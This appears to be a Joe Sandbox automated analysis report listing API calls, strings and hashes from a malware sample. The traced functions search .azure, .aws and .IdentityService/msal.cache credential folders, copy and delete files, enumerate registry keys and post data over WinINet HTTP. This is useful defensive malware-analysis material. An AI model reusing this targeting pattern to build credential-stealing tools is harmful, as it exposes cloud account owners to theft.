InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,007CC908), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,007CC928,00000000,?,00799BE8,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,007CC9D8,?,007CC638,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405C0B
------, xrefs: 00405D4C
", xrefs: 00405E16
------, xrefs: 00405A96
", xrefs: 00405CD5

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: d584931218870f5a18272302018c77e53fc5fb951b6f20bec4b58dd8f39eeae3
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: d584931218870f5a18272302018c77e53fc5fb951b6f20bec4b58dd8f39eeae3
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

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APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,0079D5B0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

Azure\.IdentityService, xrefs: 00414EEB
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
*.*, xrefs: 00414DD8
*.*, xrefs: 00414E64
msal.cache, xrefs: 00414EF0
Azure\.azure, xrefs: 00414DD3
\.aws\, xrefs: 00414E4D
\.azure\, xrefs: 00414DC1
Azure\.aws, xrefs: 00414E5F
\.IdentityService\, xrefs: 00414ED9

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: d73f59eecc85cf289b4a9e886a5dd23b124dff58e220292f3412a81ba503d5a0
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: d73f59eecc85cf289b4a9e886a5dd23b124dff58e220292f3412a81ba503d5a0
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 023ED157 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 023ED1EA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 023ED32E
RtlAllocateHeap.NTDLL(00000000), ref: 023ED335
lstrcat.KERNEL32(?,00000000), ref: 023ED46F
lstrcat.KERNEL32(?,00421478), ref: 023ED47E
lstrcat.KERNEL32(?,00000000), ref: 023ED491
lstrcat.KERNEL32(?,0042147C), ref: 023ED4A0
lstrcat.KERNEL32(?,00000000), ref: 023ED4B3
lstrcat.KERNEL32(?,00421480), ref: 023ED4C2
lstrcat.KERNEL32(?,00000000), ref: 023ED4D5
lstrcat.KERNEL32(?,00421484), ref: 023ED4E4
lstrcat.KERNEL32(?,00000000), ref: 023ED4F7
lstrcat.KERNEL32(?,00421488), ref: 023ED506
lstrcat.KERNEL32(?,00000000), ref: 023ED519
lstrcat.KERNEL32(?,0042148C), ref: 023ED528
lstrcat.KERNEL32(?,00000000), ref: 023ED53B
lstrcat.KERNEL32(?,00421490), ref: 023ED54A

Part of subcall function 023FAA87: lstrlen.KERNEL32(023E516C,?,?,023E516C,00420DDE), ref: 023FAA92
Part of subcall function 023FAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 023FAAEC

lstrlen.KERNEL32(?), ref: 023ED591
lstrlen.KERNEL32(?), ref: 023ED5A0
memset.MSVCRT ref: 023ED5EF

Part of subcall function 023FACD7: StrCmpCA.SHLWAPI(0064A350,023EAA0E,?,023EAA0E,0064A350), ref: 023FACF6

DeleteFileA.KERNEL32(00000000), ref: 023ED61B

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 35b3a7c6026b7343794acd9bc88f8a24a43edb670061b4873ce96399e81ec4f6
Instruction ID: 2901359997bedbeb18b8c0669440a9b8728aaaad352391238cba8e402bec0058
Opcode Fuzzy Hash: 35b3a7c6026b7343794acd9bc88f8a24a43edb670061b4873ce96399e81ec4f6
Instruction Fuzzy Hash: 0AE14E75950218ABCB58FBE0ED95EEE737AAF14301F504159F20AA61A0DF34AE09CF61

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
HeapAlloc.KERNEL32(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,0079D3D0,00421474,0079D3D0,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0079D410,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID:
API String ID: 2775534915-0
Opcode ID: e374f418a718bf29b4bd137cb307ac5de3fe55102a97a16a6c9de5ebd6bfbcf7
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: e374f418a718bf29b4bd137cb307ac5de3fe55102a97a16a6c9de5ebd6bfbcf7
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 023E5BC7 Relevance: 29.0, APIs: 19, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A51
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A68
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A7F
Part of subcall function 023E4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 023E4AA0
Part of subcall function 023E4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 023E4AB0

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 023E5C5F
StrCmpCA.SHLWAPI(?,0064A480), ref: 023E5C7A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 023E5DFA
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421A20,00000000,?,0064A0F0,00000000,?,0064A2F0,00000000,?,00421A1C), ref: 023E60D8
lstrlen.KERNEL32(00000000), ref: 023E60E9
GetProcessHeap.KERNEL32(00000000,?), ref: 023E60FA
RtlAllocateHeap.NTDLL(00000000), ref: 023E6101
lstrlen.KERNEL32(00000000), ref: 023E6116
memcpy.MSVCRT(?,00000000,00000000), ref: 023E612D
lstrlen.KERNEL32(00000000), ref: 023E613F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 023E6158
memcpy.MSVCRT(?), ref: 023E6165
lstrlen.KERNEL32(00000000,?,?), ref: 023E6182
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 023E6196
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 023E61B3
InternetCloseHandle.WININET(00000000), ref: 023E6217
InternetCloseHandle.WININET(00000000), ref: 023E6224
HttpOpenRequestA.WININET(00000000,0064A49C,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 023E5E5F

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

InternetCloseHandle.WININET(00000000), ref: 023E622E

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocateConnectCrackFileProcessReadSend
String ID:
API String ID: 1703137719-0
Opcode ID: 953f36d5d89b78922954f70e89b18a367f9e390412a3d758b9e507f35f40a690
Instruction ID: eadda42286e45bbe0e77848794659050c714ff957c61b1b0582095d094fec064
Opcode Fuzzy Hash: 953f36d5d89b78922954f70e89b18a367f9e390412a3d758b9e507f35f40a690
Instruction Fuzzy Hash: 9F12D675950228ABCF65EBA0ED94FEEB37ABF14700F504199E20AA2191DF706F49CF50

Function 023ECBF7 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0064A63C,00000000,?,0042144C,00000000,?,?), ref: 023ECCD3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 023ECCF0
GetFileSize.KERNEL32(00000000,00000000), ref: 023ECCFC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 023ECD0F
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 023ECD1C
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 023ECD40
StrStrA.SHLWAPI(?,0064A1B0,00420B52), ref: 023ECD5E
StrStrA.SHLWAPI(00000000,0064A364), ref: 023ECD85
StrStrA.SHLWAPI(?,0064A4D0,00000000,?,00421458,00000000,?,00000000,00000000,?,0064A15C,00000000,?,00421454,00000000,?), ref: 023ECF09
StrStrA.SHLWAPI(00000000,0064A4CC), ref: 023ECF20

Part of subcall function 023ECA87: memset.MSVCRT ref: 023ECABA
Part of subcall function 023ECA87: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 023ECAD8
Part of subcall function 023ECA87: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 023ECAE3
Part of subcall function 023ECA87: memcpy.MSVCRT(?,?,?), ref: 023ECB79

StrStrA.SHLWAPI(?,0064A4CC,00000000,?,0042145C,00000000,?,00000000,0064A0DC), ref: 023ECFC1
StrStrA.SHLWAPI(00000000,0064A5A8), ref: 023ECFD8

Part of subcall function 023ECA87: lstrcat.KERNEL32(?,00420B46), ref: 023ECBAA
Part of subcall function 023ECA87: lstrcat.KERNEL32(?,00420B47), ref: 023ECBBE
Part of subcall function 023ECA87: lstrcat.KERNEL32(?,00420B4E), ref: 023ECBDF

lstrlen.KERNEL32(00000000), ref: 023ED0AB
CloseHandle.KERNEL32(00000000), ref: 023ED103

Strings

, xrefs: 023ECC2D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: 9842806969cad6799f0f7568e9bc81044bc23dbf52ae901b6399e5f6c005bae5
Instruction ID: 375efb3b84f44c4723c951c9a1fc37bb96e3b172e3f3cf41f8e785ecc032cd10
Opcode Fuzzy Hash: 9842806969cad6799f0f7568e9bc81044bc23dbf52ae901b6399e5f6c005bae5
Instruction Fuzzy Hash: 2AE1E076900208ABCF65EBA4ED95FEEB77AAF14300F004159F20AA7191DF346A89CF51

Function 0040C990 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,007CAC38,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,007CAAD0,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,007CAD10), ref: 0040CB1E
StrStrA.SHLWAPI(?,007CB678,00000000,?,00421458,00000000,?,00000000,00000000,?,0079D3B0,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,007CB698), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0079D4F0), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912

StrStrA.SHLWAPI(?,007CB698,00000000,?,0042145C,00000000,?,00000000,0079D4F0), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,0079D650), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: bdcf7920c9ab84c4787d47d5031650711a85c06ed1b0856f23742556519dcaf9
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: bdcf7920c9ab84c4787d47d5031650711a85c06ed1b0856f23742556519dcaf9
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.ADVAPI32(00000000,007C7BA8,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

?, xrefs: 0041837A
- , xrefs: 004185A3
%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 10eb0c450f8aa63e58ce6e2e13bbd26e49cdc9fd0544e95f6096289088943245
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: 10eb0c450f8aa63e58ce6e2e13bbd26e49cdc9fd0544e95f6096289088943245
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0079D410,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

